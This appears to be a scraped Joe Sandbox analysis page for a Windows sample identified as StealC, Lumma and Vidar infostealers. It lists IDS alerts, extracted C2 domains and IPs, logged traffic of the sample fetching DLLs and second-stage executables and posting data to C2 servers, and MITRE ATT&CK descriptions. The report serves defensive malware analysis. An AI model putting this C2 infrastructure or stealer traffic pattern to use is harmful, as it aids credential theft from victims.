Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49702 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2055475 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop) : 192.168.2.7:56010 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.7:49712 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.7:49715 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.7:49731 -> 147.45.68.138:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.7:49731
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.7:49731
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.7:49735 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2055485 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop) : 192.168.2.7:49736 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.7:49737 -> 95.164.119.162:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 147.45.68.138:80 -> 192.168.2.7:49741
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 147.45.68.138:80 -> 192.168.2.7:49741
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49736 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49736 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49712 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49735 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49712 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49735 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49715 -> 172.67.146.35:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49715 -> 172.67.146.35:443

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: stamppreewntnq.shop
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199761128941
Source: Malware configuration extractor	URLs: https://t.me/jamelwt

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 95.164.119.162 95.164.119.162

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49702 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49710 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49734 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=kxNpgzCHIQX.RGCAsbyPpea8VQ8zTqPRZLmy2FiWcC4-1724878516-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: condedqpwqm.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=_XOQbUhQrJ6L1xvGO.BLgMQMbLZJ8u_sHe.5Wkz2_pk-1724878566-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: condedqpwqm.shop

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109

Source: global traffic	HTTP traffic detected: GET /jamelwt HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jamelwt HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=c502aee2533efa76c5_13289933752292435604
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66cf818156193_ldjfnsfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66cf75d3791d7_vrewqgq.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66cf818156193_ldjfnsfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66cf75d3791d7_vrewqgq.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.68.138Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: condedqpwqm.shop
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: stadiatechnologies.com

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAFBGIDHCBFHIECFCBGHIEG

C:\ProgramData\AEBAKJDG

C:\ProgramData\AECFCAAE

C:\ProgramData\CAFBGDHCBAEH\DHDAKF

C:\ProgramData\DHCGHDHIDH.exe

C:\ProgramData\EGIIJDHCGCBK\AAFIDG

C:\ProgramData\EGIIJDHCGCBK\BAAEHD

C:\ProgramData\EGIIJDHCGCBK\DGIJDA

C:\ProgramData\EGIIJDHCGCBK\EGIIJD

Windows Analysis Report
file.exe

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre